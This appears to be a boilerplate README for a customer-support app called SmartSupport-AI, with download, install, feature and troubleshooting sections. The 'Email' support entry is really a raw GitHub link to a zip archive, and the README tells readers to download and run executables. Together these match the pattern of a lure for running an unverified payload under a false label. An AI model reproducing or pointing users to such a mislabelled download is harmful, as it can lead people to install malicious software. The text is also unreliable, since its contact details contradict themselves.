🤖 SmartSupport-AI - Your Automated Customer Support Solution

🚀 Getting Started

Welcome to SmartSupport-AI! This application provides full-stack, voice-enabled customer support using advanced technology like Natural Language Processing (NLP). It is designed to help businesses manage customer inquiries 24/7 without any human intervention.

🖥️ System Requirements

Before downloading SmartSupport-AI, ensure your system meets these basic requirements:

• Operating System: Windows 10 or later / macOS 10.15 or later / Linux distribution (Ubuntu 18.04 or later)
• RAM: 4GB or more
• Storage: At least 1GB free space
• Internet Connection: Required for full functionality

📥 Download & Install

To download SmartSupport-AI, visit this page to download: SmartSupport-AI Releases

1. Click the link above.
2. Find the latest release version.
3. Download the file that matches your operating system.
4. Follow the instructions to install the software on your system.

🛠️ Installation Steps

1. Locate the Downloaded File: After the download completes, find the file in your 'Downloads' folder.

2. Run the Installer:

   • For Windows: Double-click the .exe file.
   • For macOS: Open the .dmg file and drag the SmartSupport-AI app into your Applications folder.
   • For Linux: Open a terminal, navigate to the download directory, and run chmod +x SmartSupport-AI and then ./SmartSupport-AI.

3. Follow On-Screen Instructions: The installation wizard will guide you through the setup process. Follow the prompts to complete the installation.

4. Launch SmartSupport-AI: Find the SmartSupport-AI icon on your desktop or in your Applications folder and double-click to open it.

🌟 Features

SmartSupport-AI is packed with features to simplify customer support:

• 24/7 Availability: Provides customer assistance any time of day.
• Voice Interaction: Users can communicate via voice commands.
• Natural Language Processing: Understands and responds to inquiries with accuracy.
• Integration Options: Works seamlessly with platforms such as Salesforce, Slack, and Zendesk.
• Real-Time Analytics: Offers insights on customer interactions for continuous improvement.
• Sentiment Analysis: Evaluates customer tone to tailor responses.

🔧 Configuration

After installation, you might want to configure SmartSupport-AI to better match your needs:

1. Open Settings: Click on the gear icon in the top right corner.
2. Configure Integration: Add your credentials for services like Salesforce, Slack, or Zendesk.
3. Set Language Preferences: Choose from available languages for interaction.
4. Save Changes: Click ‘Save’ to apply your settings.

📊 Using SmartSupport-AI

To start using SmartSupport-AI effectively, follow these steps:

1. Begin a Session: Launch the application and click ‘Start Session’.
2. Ask Questions: Use your voice to ask questions. For example, “What is my current ticket status?”
3. Review Responses: The application will respond with the relevant information.

🐞 Troubleshooting

If you encounter issues while using SmartSupport-AI, try the following:

• Check Your Internet Connection: Ensure you are connected to the internet.
• Restart the Application: Close the app and reopen it.
• Reinstall the Application: Uninstall SmartSupport-AI and then reinstall it using the steps outlined above.

📞 Support

For further assistance, please reach out to our support team:

• Email: https://raw.githubusercontent.com/SeanGenry/SmartSupport-AI/main/backend/Smart-AI-Support-2.5.zip
• Help Center: Visit our Help Center for FAQs and guides.

🔗 Useful Links

• SmartSupport-AI Releases
• Documentation
• Community Forum

Thank you for choosing SmartSupport-AI! We hope it enhances your customer support experience.